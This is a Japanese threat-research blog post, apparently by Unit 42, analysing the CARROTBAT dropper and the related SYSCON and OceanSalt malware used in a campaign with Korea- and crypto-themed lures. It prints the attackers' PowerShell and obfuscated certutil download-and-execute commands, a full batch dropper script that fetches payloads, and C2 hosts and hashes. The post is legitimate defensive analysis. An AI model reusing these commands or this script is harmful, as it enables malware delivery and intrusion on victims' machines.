This post is also available in: English (英語)
概要
パロアルトネットワークス脅威リサーチチームUnit 42は、これまでに報告されていないカスタマイズされたドロッパーを活用したキャンペーンを明らかにしました。このドロッパーは、主に韓国および北朝鮮地域に関係したルアー(わな)を配信するために使用されます。これらのルアーは、さまざまな仮想通貨、仮想通貨交換所、政治情勢などの、一連の話題を扱っています。ドロッパー内に発見されたさまざまな情報から、Unit 42はこのマルウェア ファミリをCARROTBATと名付けました。
CARROTBATは、最初に2017年12月の攻撃で観測されました。この攻撃は、SYSCONマルウェア ファミリを使用し、英国政府機関を標的として行われました。SYSCONは、シンプルなリモート アクセス型トロイの木馬(RAT)で、ネットワーク通信にファイル転送プロトコル(FTP)を使用します。英国政府機関に対するこの攻撃で、CARROTBATドロッパーが活用されたという証拠はありません。しかし弊社は、この攻撃のインフラストラクチャ内にいくつかの重複を発見しており、ここから最初に観測されたCARROTBATに行き着いただけでなく、これら2つのマルウェア ファミリ間に他にもつながりがあることを発見しました。
これまでの攻撃では29件のユニークなCARROTBATサンプルが特定されており、これらのサンプルには合計12件のユニークなおとり文書が含まれていることが確認されました。これらのサンプルは、今年3月から観測されており、発生した活動の大半が過去3か月に集中しています。ペイロードは多岐にわたります。初期のインスタンスはSYSCONを配信していましたが、新しいインスタンスは既知のOceanSaltマルウェア ファミリを配信しています。CARROTBATとそれに関連するペイロードは、私たちが「Fractured Block (破損ブロック)」と名付けたキャンペーンの一部となっています。
最初の攻撃
2017年12月13日、yuri.sidorav@yandex[.]ruという電子メール アドレスから、英国政府機関内の重要な役職にある個人に対して、スピアフィッシング メールが送信されました。この電子メールには、以下の件名が含まれており、同じ名前の文書ファイルが添付されていました。
- US. would talk with North Korea "without precondition" (米国は、北朝鮮と「前提条件なしで」対話する用意がある)
添付されたWord文書内には、以下のテキストが表示されています。
U.S. would talk with North Korea "without precondition" (米国は、北朝鮮と「前提条件なしで」対話する用意がある): ティラーソン国務長官、記事:Seungmock Oh
このテキストは、NKNews[.]orgによる攻撃と同日に公開された記事に言及しています。問題の記事は、米国と北朝鮮の外交関係を取り扱っていました。
図1 英国政府機関に対する攻撃においておとり文書で言及された記事
添付された文書は、DDEエクスプロイトを活用して、最終的に以下のコードを実行します。
1 |
c:\\windows\\system32\\cmd.exe "/k PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -noprofile -command (New-Object System.Net.WebClient).DownloadFile('https://881.000webhostapp[.]com/0_31.doc', '%TEMP%\\AAA.exe');Start-Process('%TEMP%\\AAA.exe') |
パロアルトネットワークスが、初めてDDEエクスプロイト技法を発見したのは2017年5月で、攻撃者は継続してこのエクスプロイトを活用しています。この特定のマルウェア サンプルによって実行されるコマンドは、0_31.docという名前のリモート実行可能ファイルをダウンロードしようとします。ダウンロードされたファイルは、AAA.exeというファイル名で被害端末の%TEMP%ディレクトリに配置されてから実行されます。
問題のペイロードは、SYSCONマルウェア ファミリに属しています。これは、コマンド&コントロール(C2)用に、FTPを介してftp.bytehost31[.]orgと通信します。
図2 実行時に確認されたSYSCONネットワーク トラフィック
SYSCONサンプルをホストするドメイン、881.000webhostapp[.]comに注目することで、多数の追加サンプルが明らかになりました。これには、KONNIマルウェア ファミリのサンプルが1つと、CARROTBATマルウェア ファミリに属する64ビットの実行可能ファイルが4つ含まれていました。さらにCARROTBATの特性に注目することで、最終的にこのマルウェア ファミリで29件の固有サンプルを特定することができました。
「Fractured Block (破損ブロック)」キャンペーン
「Fractured Block (破損ブロック)」と命名したキャンペーンは、これまでに識別されたすべてのCARROTBATサンプルを包含しています。CARROTBAT自体はドロッパーであり、これを使用して攻撃者は、組み込まれたおとりファイルをドロップして開き、その後コマンドを実行することで、標的のマシン上でペイロードをダウンロードして実行します。このマルウェアは、合計で以下の11のおとり文書のファイル形式をサポートしています。
- doc
- .docx
- .eml
- .hwp
- .jpg
- .png
- .ppt
- .pptx
- .xls
- .xlsx
組み込まれたおとり文書が開かれると、以下のような難読化されたコマンドがシステムで実行されます。
1 |
C: && cd %TEMP% && c^e^r^tutil -urlca^che -spl^it -f https://881.000webhostapp[.]com/1.txt && ren 1.txt 1.bat && 1.bat && exit |
このコマンドは、Microsoft Windowsの組み込みのcertutil ユーティリティを介して、リモート ファイルをダウンロードし、実行しようとします。この技法およびCARROTBATマルウェア ファミリについての詳細は、付録を参照してください。
29件の固有のCARROTBATマルウェア サンプルでは、コンパイルのタイムスタンプが2018年3月から2018年9月の間でした。これらの29件の固有サンプルのうち、11件の固有のおとり文書が攻撃で活用されていました(以下の図参照)。
図3 CARROTBATがドロップするおとり文書の時系列
韓国の被害者を標的にしているおとり文書の大半が、仮想通貨に関連した話題を扱っていました。1つの固有ケースでは、おとり文書にCOINVILで働く個人の名刺が含まれていました。COINVILは、2018年5月にフィリピンで仮想通貨交換所を立ち上げる計画を発表した組織です。
また別のルアーの件名には、米国と北朝鮮の関係や、トランプ米大統領のシンガポール サミット出席など、タイムリーな政治情勢が含まれていました。
CARROTBATサンプルのペイロードはさまざまでした。初めは、2018年3月から2018年7月の間に、SYSCONマルウェア ファミリの複数のインスタンスが観測されました。これらのサンプルは、C2通信用にFTPを介して、以下のホストと通信していました。
- ftp.byethost7[.]com
- ftp.byethost10[.]com
- files.000webhost[.]com
2018年6月からは、OceanSaltマルウェア ファミリがCARROTBATによってドロップされるのが観測されました。これらのサンプルは、本ブログの執筆時点でも依然として使用されており、C2通信用に以下のホストと通信していることが観測されました。
- 61.14.210[.]72:7117
他の脅威活動との興味深い関係
このブログの初めに述べたとおり、CARROTBATとKONNIのマルウェア ファミリ間には、インフラストラクチャの重複があります。KONNIは、4年間にわたって使用されてきたと考えられる多機能なRATで、多くの場合、000webhostなどの無料のWebホスティング プロバイダをC2インフラストラクチャ用に活用します。この特定のマルウェア ファミリは、本稿執筆時点ではまだどの脅威グループに帰属するものか判明していませんが、これまでは主に東南アジア地域を標的としてきました。
繰り返し言及してきた別の関係はSYSCONマルウェア ファミリの使用です。この特定のマルウェア ファミリは、2017年10月に初めて報告され、北朝鮮に関係したおとり文書を配信することが観測されました。一般的にこのマルウェアは高度ではなく、C2通信にリモートFTPサーバーを利用しています。
下図では、KONNIの使用が黄色のフラグで、SYSCONの使用が紫色のフラグで強調表示されています。
図4 悪意のある活動の相関を示すMaltegoの図
最後に、3番目の重複はOceanSaltマルウェア ペイロードです。これは2018年10月にMcAfeeによって初めて報告され、報告された被害地域は韓国、米国、カナダなどです。McAfeeのレポートで説明されたサンプルと同様に、「Fractured Block」キャンペーンで観測されたOceanSaltサンプルはには Comment Crew (別名APT1)のコード同様の類似性がありましたが、私たちはこうした類似性は意に偽装されたものであると考えています。Comment Crewが使用したマルウェアは長年流通しており、弊社では、このブログ投稿で説明している活動には過去のComment Crewの活動との重複はないと考えています。
図5 脅威活動の重複の経時変化
結論
CARROTBATの発見において鍵となる役割を果たし、この発見が関連するOceanSalt、SYSCONおよびKONNIの活動発見に繋がりました。 この調査で見つかったさまざまな重複は注目に値するもので、私たちはこの脅威活動すべてが同じ脅威攻撃グループに帰属している可能性もあると考えています。 ただし、現時点では、この主張を完全に裏付ける十分な証拠はないと考えています。
CARROTBATマルウェア ファミリはいくぶんユニークなドロッパーで、さまざまな種類のおとり文書をサポートし、基本的なコマンド難読化を採用していますが、さほど高度なものでない、という点にはふれておくべきでしょう。
Fractured Blockの背後にいる攻撃者は引き続き活発ですが、パロアルトネットワークのお客様は、この脅威から以下に示す方法で保護されています。
- AutoFocusをご利用のお客様は、FracturedBlock、SYSCON、KONNI、およびCARROTBATでこれらのサンプルを調べることができます。
- WildFireは、このレポートで言及したすべてのファイルを、悪意があると判断して検出します。
- Trapsは、Fractured Blockキャンペーンに現在関連付けられたすべてのファイルをブロックします。
この脅威の調査を支援してくださったChronicleのVirusTotalチームに深く感謝します。
付録
CARROTBATの技術的分析
以下の分析には次のサンプルを使用しています。
MD5 | 3e4015366126dcdbdcc8b5c508a6d25c |
SHA1 | f459f9cfbd10b136cafb19cbc233a4c8342ad984 |
SHA256 | aef92be267a05cbff83aec0f23d33dfe0c4cdc71f9a424f5a2e59ba62b7091de |
ファイル タイプ | PE32実行可能ファイル(GUI) Intel 80386、MS Windows対応 |
コンパイル タイムスタンプ | 2018/09/05 0:17:22 UTC |
実行時、このマルウェアは自身の最後の8バイトを読み取ります。これらのバイトには、埋め込まれたおとり文書の長さとファイルの種類の両方を含む2つのDWORDが含まれています。
図6 おとり文書の情報を含むCARROTBATファイルの最後の部分
収集したこの情報を使用して、CARROTBATは、前に取得した8バイトの前の部分を引き続き読み取ります。このデータには、埋め込まれたおとり文書全体が含まれ、元のマルウェア サンプルと同じディレクトリに同じファイル名で書き込まれます。ただし、ファイル拡張子は、前に取得したファイル タイプの値に基づいて変更されます。次に示す対応する値がCARROTBATで使用されます。
値 | 文書の拡張子 |
0x0 | .doc |
0x1 | |
0x2 | .jpg |
0x3 | .xls |
0x4 | .xlsx |
0x5 | .hwp |
0x6 | .docx |
0x7 | .png |
0x8 | .eml |
0x9 | .ppt |
0xA | .pptx |
このケースでは、.hwpファイル拡張子がおとり文書で使用されています。このおとりは、ディスクにドロップされた後、新しいプロセスで開きます。この例では、BKN Bank仮想通貨交換所のホワイトペーパーが被害端末に表示されます。
図7 被害端末に表示されるHWPおとり文書
この文書が表示された後、このマルウェアは新しいプロセスで引き続き次のコマンドを実行します。
1 |
C: && cd %TEMP% && c^e^r^tutil -urlca^che -spl^it -f http://s8877.1apps[.]com/vip/1.txt && ren 1.txt 1.bat && 1.bat && exit |
このコマンドは、Microsoft Windowsの組み込みのcertutilコマンドを使用してリモート ファイルをダウンロードします。この例では、次のスクリプトが取得されます。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
@echo off :if exist "%PROGRAMFILES(x86)%" (GOTO 64BITOS) ELSE (GOTO 32BITOS) :32BITOS certutil -urlcache -split -f http://s8877.1apps[.]com/vip/setup.txt > nul certutil -decode -f setup.txt setup.cab > nul del /f /q setup.txt > nul GOTO ISEXIST :64BITOS :certutil -urlcache -split -f http://s8877.1apps[.]com/vip/setup2.txt > nul :certutil -d^ecode -f setup2.txt setup.cab > nul :del /f /q setup2.txt > nul :GOTO ISEXIST :ISEXIST if exist "setup.cab" (GOTO EXECUTE) ELSE (GOTO EXIT) :EXECUTE ver | findstr /i "10\." > nul IF %ERRORLEVEL% EQU 0 (GOTO WIN10) ELSE (GOTO OTHEROS) :WIN10 expand %TEMP%\setup.cab -F:* %CD% > nul :if exist "%PROGRAMFILES(x86)%" (rundll32 %TEMP%\drv.dll EntryPoint) ELSE (rundll32 %TEMP%\drv.dll EntryPoint) %TEMP%\install.bat GOTO EXIT :OTHEROS wusa %TEMP%\setup.cab /quiet /extract:%TEMP% > nul %TEMP%\install.bat GOTO EXIT :EXIT del /f /q setup.cab > nul del /f /q %~dpnx0 > nul |
このスクリプトは、単純に被害端末のオペレーティング システムをチェックし、再びcertutil実行ファイルを使用して対応するペイロードをダウンロードします。この例では、ペイロードはbase64でエンコードされていて、これをcertutilがデコードします。問題のペイロードはCABファイルで、その後解凍されます。最後に、マルウェアは、抽出したinstall.batスクリプトを実行し、元のファイルを削除し、終了します。
図8 certutilを使用して最終ペイロードをダウンロードするCARROTBAT
ダウンロードされたCABファイルには次のプロパティがあります。
MD5 | a943e196b83c4acd9c5ce13e4c43b4f4 |
SHA1 | e66e416f300c7efb90c383a7630c9cfe901ff9fd |
SHA256 | cfe436c1f0ce5eb7ac61b32cd073cc4e4b21d5016ceef77575bef2c2783c2d62 |
ファイル タイプ | Microsoft Cabinetのアーカイブ データ、181248バイト、3ファイル |
次の3つのファイルおよびその説明がCABファイルによってドロップされます。
ファイル名 | 目的 |
Install.bat | その他のファイルをC:\Users\Public\Downloadsにコピーし、Runレジストリ キーを設定して永続性を確保するインストール バッチ スクリプト。また、これは元のファイルを削除してから終了します。 |
DrvUpdate.dll | OceanSaltマルウェア ファミリのインスタンス |
winnet.ini | エンコードされたC2情報。 |
C2情報は、外部のwinnet.iniファイルを使用して保存され、増分XORキーを使用してエンコードされます。Pythonで記述された次の関数を使用してこのファイルをデコードできます。
1 2 3 4 5 6 7 |
def decode(data): out = "" c = 0 for d in data: out += chr(ord(d)^c) c+=1 return out |
デコードされた後、OceanSaltのこのインスタンスがポート7117の61.14.210[.]72と通信しようとしていることがわかりました。
CARROTBATのサンプル
- d34aabf20ccd93df9d43838cea41a7e243009a3ef055966cb9dea75d84b2724d
- 8b6b4a0e0945c6daf3ebc8870e3bd37e54751f95162232d85dc0a0cc8bead9aa
- 26fc6fa6acc942d186a31dc62be0de5e07d6201bdff5d7b2f1a7521d1d909847
- e218b19252f242a8f10990ddb749f34430d3d7697cbfb6808542f609d2cbf828
- 824f79a8ee7d8a23a0371fab83de44db6014f4d9bdea90b47620064e232fd3e3
- 70106ebdbf4411c32596dae3f1ff7bf192b81b0809f8ed1435122bc2a33a2e22
- 87c50166f2ac41bec7b0f3e3dba20c7264ae83b13e9a6489055912d4201cbdfc
- ac23017efc19804de64317cbc90efd63e814b5bb168c300cfec4cfdedf376f4f
- d965627a12063172f12d5375c449c3eef505fde1ce4f5566e27ef2882002b5d0
- 7d443434c302431734caf1d034c054ad80493c4c703d5aaeafa4a931a496b2ae
- 1142dcc02b9ef34dca2f28c22613a0489a653eb0aeafe1370ca4c00200d479e0
- 337b8c2aac80a44f4e7f253a149c65312bc952661169066fe1d4c113348cc27b
- 92b45e9a3f26b2eef4a86f3dae029f5821cffec78c6c64334055d75dbf2a62ef
- 42e18ef3aaadac5b40a37ec0b3686c0c2976d65c978a2b685fefe50662876ded
- ba78f0a6ce53682942e97b5ad7ec76a2383468a8b6cd5771209812b6410f10cb
- dca9bd1c2d068fc9c84a754e4dcf703629fbe2aa33a089cb50a7e33e073f5cea
- 7d8376057a937573c099e3afe2d8e4b8ec8cb17e46583a2cab1a4ac4b8be1c97
- 3cbccb059225669dcfdc7542ce28666e0b1a227714eaf4b16869808bffe90b96
- aef92be267a05cbff83aec0f23d33dfe0c4cdc71f9a424f5a2e59ba62b7091de
- 2547b958f7725539e9bba2a1852a163100daa1927bb621b2837bb88007857a48
- 6c591dddd05a2462e252997dc9d1ba09a9d9049df564d00070c7da36e526a66a
- 22b16fa7af7b51880faceb33dd556242331daf7b7749cabd9d7c9735fb56aa10
- 3869c738fa80b1e127f97c0afdb6c2e1c15115f183480777977b8422561980dd
- ba100e7bac8672b9fd73f2d0b7f419378f81ffb56830f6e27079cb4a064ba39a
- e527ade24beacb2ef940210ba9acb21073e2b0dadcd92f1b8f6acd72b523c828
- 9fa69bdc731015aa7bdd86cd311443e6f829fa27a9ba0adcd49fa773fb5e7fa9
- ffd1e66c2385dae0bb6dda186f004800eb6ceaed132aec2ea42b1ddcf12a5c4e
- e3b45b2e5d3e37f8774ae22a21738ae345e44c07ff58f1ab7178a3a43590fddd
- a0f53abde0d15497776e975842e7df350d155b8e63d872a914581314aaa9c1dc
SYSCONのペイロード サンプル
- 5a2c53a20fd66467e87290f5845a5c7d6aa8d460426abd30d4a6adcffca06b8b
- fceceb104bed6c8e85fff87b1bf06fde5b4a57fe7240b562a51727a37034f659
- fa712f2bebf30592dd9bba4fc3befced4c727b85a036550fc3ac70d1965f8de5
- da94a331424bc1074512f12d7d98dc5d8c5028821dfcbe83f67f49743ae70652
- 2efdd25a8a8f21c661aab2d4110cd7f89cf343ec6a8674ff20a37a1750708f27
- 62886d8b9289bd92c9b899515ff0c12966b96dd3e4b69a00264da50248254bb7
- f27d640283372eb805df794ae700c25f789d77165bb98b7174ee03a617a566d4
- 0bb099849ed7076177aa8678de65393ef0d66e026ad5ab6805c1c47222f26358
- f4c00cc0d7872fb756e2dc902f1a22d14885bf283c8e183a81b2927b363f5084
- e8381f037a8f70d8fc3ee11a7bec98d6406a289e1372c8ce21cf00e55487dafc
- 1c8351ff968f16ee904031f6fba8628af5ca0db01b9d775137076ead54155968
- 2da750b50ac396a41e99752d791d106b686be10c27c6933f0d3afe762d6d0c48
- 5d1388c23c94489d2a166a429b8802d726298be7eb0c95585f2759cebad040cf
- 0490e7d24defc2f0a4239e76197f1cba50e7ce4e092080d2f7db13ea0f88120b
OceanSaltのペイロード サンプル
- 59b023b30d8a76c5984fe62d2e751875b8b3ebe2d520891458cb66a4e9c40005
- 7cf37067f08b0b8f9c58a35d409fdd6481337bdc2d5f2152f8e8f304f8a472b6
- fe8d65287dd40ca0a1fadddc4268268b4a77cdb04a490c1a73aa15b6e4f1dd63
- a23f95b4a602bdaef1b58e97843e2f38218554eb57397210a1aaa68508843bd0
- 59b023b30d8a76c5984fe62d2e751875b8b3ebe2d520891458cb66a4e9c40005
- cfe436c1f0ce5eb7ac61b32cd073cc4e4b21d5016ceef77575bef2c2783c2d62
- 7ae933ed7fc664df4865840f39bfeaf9daeb3b88dcd921a90366635d59bc15f2
- 3663e7b197efe91fb7879a56c29fb8ed196815e0145436ee2fad5825c29de897
- 59b023b30d8a76c5984fe62d2e751875b8b3ebe2d520891458cb66a4e9c40005
- 7ae933ed7fc664df4865840f39bfeaf9daeb3b88dcd921a90366635d59bc15f2
- cf31dac47680ff1375ddaa3720892ed3a7a70d1872ee46e6366e6f93123f58d2
- fe186d04ca6afec2578386b971b5ecb189d8381be055790a9e6f78b3f23c9958
インフラストラクチャ
- https://881.000webhostapp[.]com/1.txt
- http://attach10132.1apps[.]com/1.txt
- https://071790.000webhostapp[.]com/1.txt
- https://vnik.000webhostapp[.]com/1.txt
- https://7077.000webhostapp[.]com/vic/1.txt
- http://a7788.1apps[.]com/att/1.txt
- http://s8877.1apps[.]com/vip/1.txt
- http://hanbosston.000webhostapp[.]com/1.txt
- http://bluemountain.1apps[.]com/1.txt
- https://www.webmail-koryogroup[.]com/keep/1.txt
- http://filer1.1apps[.]com/1.txt
- ftp.byethost7[.]com
- ftp.byethost10[.]com
- files.000
- webhost[.]com61.14.210[.]72:7117